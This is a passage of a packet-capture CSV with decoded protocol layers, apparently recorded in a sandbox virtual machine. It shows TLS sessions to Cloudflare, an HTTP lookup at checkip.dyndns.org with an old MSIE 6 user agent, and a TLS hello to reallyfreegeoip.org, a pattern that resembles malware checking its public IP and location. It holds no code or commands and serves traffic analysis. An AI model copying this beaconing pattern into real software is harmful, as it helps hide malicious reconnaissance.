null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 20, \"\"version\"\": 769, \"\"len\"\": 1, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSChangeCipherSpec  msgtype=change_cipher_spec |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 769, \"\"len\"\": 48, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<Raw  load=b'\\\\xad\\\\x03&\\\\xdch>(\\\\xafp\\\\x1b.\\\\x02\\\\xf34o);\\\\x8d$\\\\x98n\\\\x8c\\\\xf6U]\\\\xb2K?=\\\\xf4U\\\\xcb\\\\xb6\\\\xbbq\\\\xde\\\\xfaQr\\\\x01\\\\xf5T\\\\xb5\\\\xe8\\\\xd2\\\\xa3\\\"\"\\\\xae' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-28 18:22:52.580693,40,TCP 192.168.122.168:50104 -> 188.114.96.0:443,192.168.122.168,188.114.96.0,50104,443,TCP,Internal,Private Network,,,,,,Unknown,Unknown,13335,\"Cloudflare, Inc.\",,,188.114.96.0/22,A,,,Ether > IP > TCP,3,TCP A Seq=2695327469 Ack=3685362051,525400577f945254007bb7920800450000287692400080062c7ac0a87aa8bc726000c3b801bba0a76eeddbaa29835010201357de0000,\"RT.W..RT.{....E..(v.@...,z..z..r`.......n...).P. .W...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 30354, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11386, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"188.114.96.0\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50104, \"\"dport\"\": 443, \"\"seq\"\": 2695327469, \"\"ack\"\": 3685362051, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8211, \"\"chksum\"\": 22494, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:22:52.792760,41,TCP 192.168.122.168:50104 -> 188.114.96.0:443,192.168.122.168,188.114.96.0,50104,443,TCP,Internal,Private Network,,,,,,Unknown,Unknown,13335,\"Cloudflare, Inc.\",,,188.114.96.0/22,FA,,,Ether > IP > TCP,3,TCP FA Seq=2695327469 Ack=3685362051,525400577f945254007bb7920800450000287693400080062c79c0a87aa8bc726000c3b801bba0a76eeddbaa29835011201357de0000,\"RT.W..RT.{....E..(v.@...,y..z..r`.......n...).P. .W...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 30355, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11385, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"188.114.96.0\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50104, \"\"dport\"\": 443, \"\"seq\"\": 2695327469, \"\"ack\"\": 3685362051, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 8211, \"\"chksum\"\": 22494, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:22:52.792860,42,TCP 188.114.96.0:443 -> 192.168.122.168:50104,188.114.96.0,192.168.122.168,443,50104,TCP,Unknown,Unknown,13335,\"Cloudflare, Inc.\",,,188.114.96.0/22,Internal,Private Network,,,,,,FA,,,Ether > IP > TCP,3,TCP FA Seq=3685362051 Ack=2695327470,5254007bb792525400577f94080045000028bae7400040062825bc726000c0a87aa801bbc3b8dbaa2983a0a76eee5011005357de0000,RT.{..RT.W....E..(..@.@.(%.r`...z.......)...n.P..SW...,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 47847, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 10277, \"\"src\"\": \"\"188.114.96.0\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 50104, \"\"seq\"\": 3685362051, \"\"ack\"\": 2695327470, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 83, \"\"chksum\"\": 22494, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:22:52.792980,43,TCP 192.168.122.168:50104 -> 188.114.96.0:443,192.168.122.168,188.114.96.0,50104,443,TCP,Internal,Private Network,,,,,,Unknown,Unknown,13335,\"Cloudflare, Inc.\",,,188.114.96.0/22,A,,,Ether > IP > TCP,3,TCP A Seq=2695327470 Ack=3685362052,525400577f945254007bb7920800450000287694400080062c78c0a87aa8bc726000c3b801bba0a76eeedbaa29845010201357de0000,\"RT.W..RT.{....E..(v.@...,x..z..r`.......n...).P. .W...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 30356, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11384, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"188.114.96.0\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50104, \"\"dport\"\": 443, \"\"seq\"\": 2695327470, \"\"ack\"\": 3685362052, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8211, \"\"chksum\"\": 22494, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:22:52.897042,44,TCP 192.168.122.168:50100 -> 132.226.247.73:80,192.168.122.168,132.226.247.73,50100,80,TCP,Internal,Private Network,,,,,,Brazil,São Paulo,31898,Oracle Corporation,-23.5475,-46.6361,132.226.240.0/20,PA,,http://checkip.dyndns.org/,Ether > IP > TCP > HTTP > HTTPRequest,5,HTTP Request: GET /,525400577f945254007bb7920800450000a7d29440008006703fc0a87aa884e2f749c3b40050e17450fcc9cc4d2350180400b8160000474554202f20485454502f312e310d0a557365722d4167656e743a204d6f7a696c6c612f342e302028636f6d70617469626c653b204d53494520362e303b2057696e646f7773204e5420352e323b202e4e455420434c52312e302e333730353b290d0a486f73743a20636865636b69702e64796e646e732e6f72670d0a0d0a,\"RT.W..RT.{....E.....@...p?..z....I...P.tP...M#P.......GET / HTTP/1.1\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)\nHost: checkip.dyndns.org\n\n\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 167, \"\"id\"\": 53908, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 28735, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"132.226.247.73\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50100, \"\"dport\"\": 80, \"\"seq\"\": 3782496508, \"\"ack\"\": 3385609507, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1024, \"\"chksum\"\": 47126, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"HTTPRequest\"\", \"\"fields\"\": {\"\"Method\"\": \"\"GET\"\", \"\"Path\"\": \"\"/\"\", \"\"Http_Version\"\": \"\"HTTP/1.1\"\", \"\"A_IM\"\": null, \"\"Accept\"\": null, \"\"Accept_Charset\"\": null, \"\"Accept_Datetime\"\": null, \"\"Accept_Encoding\"\": null, \"\"Accept_Language\"\": null, \"\"Access_Control_Request_Headers\"\": null, \"\"Access_Control_Request_Method\"\": null, \"\"Authorization\"\": null, \"\"Cache_Control\"\": null, \"\"Connection\"\": null, \"\"Content_Length\"\": null, \"\"Content_MD5\"\": null, \"\"Content_Type\"\": null, \"\"Cookie\"\": null, \"\"DNT\"\": null, \"\"Date\"\": null, \"\"Expect\"\": null, \"\"Forwarded\"\": null, \"\"From\"\": null, \"\"Front_End_Https\"\": null, \"\"HTTP2_Settings\"\": null, \"\"Host\"\": \"\"checkip.dyndns.org\"\", \"\"If_Match\"\": null, \"\"If_Modified_Since\"\": null, \"\"If_None_Match\"\": null, \"\"If_Range\"\": null, \"\"If_Unmodified_Since\"\": null, \"\"Keep_Alive\"\": null, \"\"Max_Forwards\"\": null, \"\"Origin\"\": null, \"\"Permanent\"\": null, \"\"Pragma\"\": null, \"\"Proxy_Authorization\"\": null, \"\"Proxy_Connection\"\": null, \"\"Range\"\": null, \"\"Referer\"\": null, \"\"Save_Data\"\": null, \"\"TE\"\": null, \"\"Upgrade\"\": null, \"\"Upgrade_Insecure_Requests\"\": null, \"\"User_Agent\"\": \"\"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)\"\", \"\"Via\"\": null, \"\"Warning\"\": null, \"\"X_ATT_DeviceId\"\": null, \"\"X_Correlation_ID\"\": null, \"\"X_Csrf_Token\"\": null, \"\"X_Forwarded_For\"\": null, \"\"X_Forwarded_Host\"\": null, \"\"X_Forwarded_Proto\"\": null, \"\"X_Http_Method_Override\"\": null, \"\"X_Request_ID\"\": null, \"\"X_Requested_With\"\": null, \"\"X_UIDH\"\": null, \"\"X_Wap_Profile\"\": null, \"\"Unknown_Headers\"\": null}}]\"\n2026-04-28 18:22:52.897073,45,TCP 132.226.247.73:80 -> 192.168.122.168:50100,132.226.247.73,192.168.122.168,80,50100,TCP,Brazil,São Paulo,31898,Oracle Corporation,-23.5475,-46.6361,132.226.240.0/20,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3385609507 Ack=3782496635,5254007bb792525400577f9408004500002838d2400040064a8184e2f749c0a87aa80050c3b4c9cc4d23e174517b50100053b7970000,RT.{..RT.W....E..(8.@.@.J....I..z..P....M#.tQ{P..S....,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 14546, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 19073, \"\"src\"\": \"\"132.226.247.73\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 50100, \"\"seq\"\": 3385609507, \"\"ack\"\": 3782496635, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 46999, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:22:53.473733,46,TCP 132.226.247.73:80 -> 192.168.122.168:50100,132.226.247.73,192.168.122.168,80,50100,TCP,Brazil,São Paulo,31898,Oracle Corporation,-23.5475,-46.6361,132.226.240.0/20,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > HTTP > HTTPResponse > Raw,6,HTTP Response: 200,5254007bb792525400577f9408004500015938d340004006494f84e2f749c0a87aa80050c3b4c9cc4d23e174517b50180053b8c80000485454502f312e3120323030204f4b0d0a446174653a205475652c2032382041707220323032362031383a32323a353320474d540d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a203130340d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a43616368652d436f6e74726f6c3a206e6f2d63616368650d0a507261676d613a206e6f2d63616368650d0a4163636573732d436f6e74726f6c2d416c6c6f772d4f726967696e3a202a0d0a0d0a3c68746d6c3e3c686561643e3c7469746c653e43757272656e7420495020436865636b3c2f7469746c653e3c2f686561643e3c626f64793e43757272656e7420495020416464726573733a203130392e37302e3130302e363c2f626f64793e3c2f68746d6c3e0d0a,\"<html><head><title>Current IP Check</title></head><body>Current IP Address: 109.70.100.6</body></html>\n\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 345, \"\"id\"\": 14547, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 18767, \"\"src\"\": \"\"132.226.247.73\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 50100, \"\"seq\"\": 3385609507, \"\"ack\"\": 3782496635, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 83, \"\"chksum\"\": 47304, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"HTTPResponse\"\", \"\"fields\"\": {\"\"Http_Version\"\": \"\"HTTP/1.1\"\", \"\"Status_Code\"\": \"\"200\"\", \"\"Reason_Phrase\"\": \"\"OK\"\", \"\"Accept_Patch\"\": null, \"\"Accept_Ranges\"\": null, \"\"Access_Control_Allow_Credentials\"\": null, \"\"Access_Control_Allow_Headers\"\": null, \"\"Access_Control_Allow_Methods\"\": null, \"\"Access_Control_Allow_Origin\"\": \"\"*\"\", \"\"Access_Control_Expose_Headers\"\": null, \"\"Access_Control_Max_Age\"\": null, \"\"Age\"\": null, \"\"Allow\"\": null, \"\"Alt_Svc\"\": null, \"\"Cache_Control\"\": \"\"no-cache\"\", \"\"Connection\"\": \"\"keep-alive\"\", \"\"Content_Disposition\"\": null, \"\"Content_Encoding\"\": null, \"\"Content_Language\"\": null, \"\"Content_Length\"\": \"\"104\"\", \"\"Content_Location\"\": null, \"\"Content_MD5\"\": null, \"\"Content_Range\"\": null, \"\"Content_Security_Policy\"\": null, \"\"Content_Type\"\": \"\"text/html\"\", \"\"Date\"\": \"\"Tue, 28 Apr 2026 18:22:53 GMT\"\", \"\"Delta_Base\"\": null, \"\"ETag\"\": null, \"\"Expires\"\": null, \"\"IM\"\": null, \"\"Keep_Alive\"\": null, \"\"Last_Modified\"\": null, \"\"Link\"\": null, \"\"Location\"\": null, \"\"P3P\"\": null, \"\"Permanent\"\": null, \"\"Pragma\"\": \"\"no-cache\"\", \"\"Proxy_Authenticate\"\": null, \"\"Public_Key_Pins\"\": null, \"\"Refresh\"\": null, \"\"Retry_After\"\": null, \"\"Server\"\": null, \"\"Set_Cookie\"\": null, \"\"Status\"\": null, \"\"Strict_Transport_Security\"\": null, \"\"Timing_Allow_Origin\"\": null, \"\"Tk\"\": null, \"\"Trailer\"\": null, \"\"Transfer_Encoding\"\": null, \"\"Upgrade\"\": null, \"\"Vary\"\": null, \"\"Via\"\": null, \"\"WWW_Authenticate\"\": null, \"\"Warning\"\": null, \"\"X_Content_Duration\"\": null, \"\"X_Content_Security_Policy\"\": null, \"\"X_Content_Type_Options\"\": null, \"\"X_Correlation_ID\"\": null, \"\"X_Frame_Options\"\": null, \"\"X_Powered_By\"\": null, \"\"X_Request_ID\"\": null, \"\"X_UA_Compatible\"\": null, \"\"X_WebKit_CSP\"\": null, \"\"X_XSS_Protection\"\": null, \"\"Unknown_Headers\"\": null}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"<html><head><title>Current IP Check</title></head><body>Current IP Address: 109.70.100.6</body></html>\\r\\n\"\"}}]\"\n2026-04-28 18:22:53.507754,47,TCP 192.168.122.168:50107 -> 188.114.96.0:443,192.168.122.168,188.114.96.0,50107,443,TCP,Internal,Private Network,,,,,,Unknown,Unknown,13335,\"Cloudflare, Inc.\",,,188.114.96.0/22,S,,,Ether > IP > TCP,3,TCP S Seq=4000321737 Ack=0,525400577f945254007bb7920800450000347695400080062c6bc0a87aa8bc726000c3bb01bbee7010c9000000008002faf057ea0000020405b40103030801010402,\"RT.W..RT.{....E..4v.@...,k..z..r`......p..........W...............\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 30357, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11371, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"188.114.96.0\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50107, \"\"dport\"\": 443, \"\"seq\"\": 4000321737, \"\"ack\"\": 0, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"S\"\", \"\"window\"\": 64240, \"\"chksum\"\": 22506, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('WScale', 8), ('NOP', None), ('NOP', None), ('SAckOK', b'')]\"\"}}]\"\n2026-04-28 18:22:53.507822,48,TCP 188.114.96.0:443 -> 192.168.122.168:50107,188.114.96.0,192.168.122.168,443,50107,TCP,Unknown,Unknown,13335,\"Cloudflare, Inc.\",,,188.114.96.0/22,Internal,Private Network,,,,,,SA,,,Ether > IP > TCP,3,TCP SA Seq=3056081028 Ack=4000321738,5254007bb792525400577f94080045000034000040004006e300bc726000c0a87aa801bbc3bbb6281884ee7010ca8012a56457ea0000020405b40101040201030309,RT.{..RT.W....E..4..@.@....r`...z......(...p.....dW..............\t,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 58112, \"\"src\"\": \"\"188.114.96.0\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 50107, \"\"seq\"\": 3056081028, \"\"ack\"\": 4000321738, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"SA\"\", \"\"window\"\": 42340, \"\"chksum\"\": 22506, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('NOP', None), ('SAckOK', b''), ('NOP', None), ('WScale', 9)]\"\"}}]\"\n2026-04-28 18:22:53.507935,49,TCP 192.168.122.168:50107 -> 188.114.96.0:443,192.168.122.168,188.114.96.0,50107,443,TCP,Internal,Private Network,,,,,,Unknown,Unknown,13335,\"Cloudflare, Inc.\",,,188.114.96.0/22,A,,,Ether > IP > TCP,3,TCP A Seq=4000321738 Ack=3056081029,525400577f945254007bb7920800450000287696400080062c76c0a87aa8bc726000c3bb01bbee7010cab62818855010201457de0000,\"RT.W..RT.{....E..(v.@...,v..z..r`......p...(..P. .W...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 30358, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11382, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"188.114.96.0\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50107, \"\"dport\"\": 443, \"\"seq\"\": 4000321738, \"\"ack\"\": 3056081029, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 22494, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:22:53.508465,50,TCP 192.168.122.168:50107 -> 188.114.96.0:443,192.168.122.168,188.114.96.0,50107,443,TCP,Internal,Private Network,,,,,,Unknown,Unknown,13335,\"Cloudflare, Inc.\",,,188.114.96.0/22,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=4000321738 Ack=3056081029,525400577f945254007bb7920800450001637697400080062b3ac0a87aa8bc726000c3bb01bbee7010cab62818855018201459190000160301013601000132030169d77603388ef6fba5c04fbe1bf9f5d2efeaf21b2c1cbe1de7dd23293db0020900000ec00ac009c014c0130035002f000a010000fb0000001800160000137265616c6c796672656567656f69702e6f7267000a00080006001d00170018000b00020100002300c0168334713c1d2370c2d8321cd32fed7f29083530180fb4e70816062a0f1580975b098bfd0d4aa44918648244e9032c72d81e6a5432615b24fd4ed6de2e55a8a938adea3238a35c1bcba5385e8c1591d9ef3e39ae5b07f90e6c59465bc94956f4cfcfeaa25d9c9001dac96b74cd8bae425eeda4baefab7b5722f3254595d3e8a122e99292e531c2908eed19ac46599d0473fa85bfcdad1456250e7c27b68c3f4e80bedb61c3f3041febf95d7412253518124d6656a06b0f016f7799af38dd3d5b00170000ff01000100,\"RT.W..RT.{....E..cv.@...+:..z..r`......p...(..P. .Y.......6...2..i.v.8.....O.........,.....#)=..\t....\n.\t.....5./.\n.............reallyfreegeoip.org.\n.................#....4q<.#p..2../..).50.......*....[\t..\nJ.I.d.D..,r..jT2a[$.N...U..8..28.\\...8^.....>9.[...lYF[.IV.....].....kt...B^.....{W\"\".%E....\"\"....1......FY..s......V%.|'..?N...a......]t.%5..MfV.k..ow..8.=[.........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 355, \"\"id\"\": 30359, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11066, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"188.114.96.0\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50107, \"\"dport\"\": 443, \"\"seq\"\": 4000321738, \"\"ack\"\": 3056081029, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 22809, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 769, \"\"len\"\": 310, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSClientHello  msgtype=client_hello msglen=306 version=TLS 1.0 gmt_unix_time=Thu, 09 Apr 2026 09:48:51  (1775728131) random_bytes=388ef6fba5c04fbe1bf9f5d2efeaf21b2c1cbe1de7dd23293db00209 sidlen=0 sid=b'' cipherslen=14 ciphers=[TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA, TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA, TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA, TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA, TLS_RSA_WITH_AES_256_CBC_SHA, TLS_RSA_WITH_AES_128_CBC_SHA, TLS_RSA_WITH_3DES_EDE_CBC_SHA] complen=1 comp=null extlen=251 ext=[<TLS_Ext_ServerName  type=server_name len=24 servernameslen=22 servernames=[b'reallyfreegeoip.org'] |>, <TLS_Ext_SupportedGroups  type=supported_groups len=8 groupslen=6 groups=[x25519, secp256r1, secp384r1] |>, <TLS_Ext_SupportedPointFormat  type=ec_point_formats len=2 ecpllen=1 ecpl=[uncompressed] |>, <TLS_Ext_SessionTicket  type=session_ticket len=192 ticket=b'\\\\x16\\\\x834q<\\\\x1d#p\\\\xc2\\\\xd82\\\\x1c\\\\xd3/\\\\xed\\\\x7f)\\\\x0850\\\\x18\\\\x0f\\\\xb4\\\\xe7\\\\x08\\\\x16\\\\x06*\\\\x0f\\\\x15\\\\x80\\\\x97[\\\\t\\\\x8b\\\\xfd\\\\rJ\\\\xa4I\\\\x18d\\\\x82D\\\\xe9\\\\x03,r\\\\xd8\\\\x1ejT2a[$\\\\xfdN\\\\xd6\\\\xde.U\\\\xa8\\\\xa98\\\\xad\\\\xea28\\\\xa3\\\\\\\\\\\\x1b\\\\xcb\\\\xa58^\\\\x8c\\\\x15\\\\x91\\\\xd9\\\\xef>9\\\\xae[\\\\x07\\\\xf9\\\\x0elYF[\\\\xc9IV\\\\xf4\\\\xcf\\\\xcf\\\\xea\\\\xa2]\\\\x9c\\\\x90\\\\x01\\\\xda\\\\xc9kt\\\\xcd\\\\x8b\\\\xaeB^\\\\xed\\\\xa4\\\\xba\\\\xef\\\\xab{W\\\"\"\\\\xf3%E\\\\x95\\\\xd3\\\\xe8\\\\xa1\\\"\"\\\\xe9\\\\x92\\\\x92\\\\xe51\\\\xc2\\\\x90\\\\x8e\\\\xed\\\\x19\\\\xacFY\\\\x9d\\\\x04s\\\\xfa\\\\x85\\\\xbf\\\\xcd\\\\xad\\\\x14V%\\\\x0e|\\\\'\\\\xb6\\\\x8c?N\\\\x80\\\\xbe\\\\xdba\\\\xc3\\\\xf3\\\\x04\\\\x1f\\\\xeb\\\\xf9]t\\\\x12%5\\\\x18\\\\x12MfV\\\\xa0k\\\\x0f\\\\x01ow\\\\x99\\\\xaf8\\\\xdd=[' |>, <TLS_Ext_ExtendedMasterSecret  type=extended_master_secret len=0 |>, <TLS_Ext_RenegotiationInfo  type=renegotiation_info len=1 reneg_conn_len=0 renegotiated_connection=b'' |>] |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, 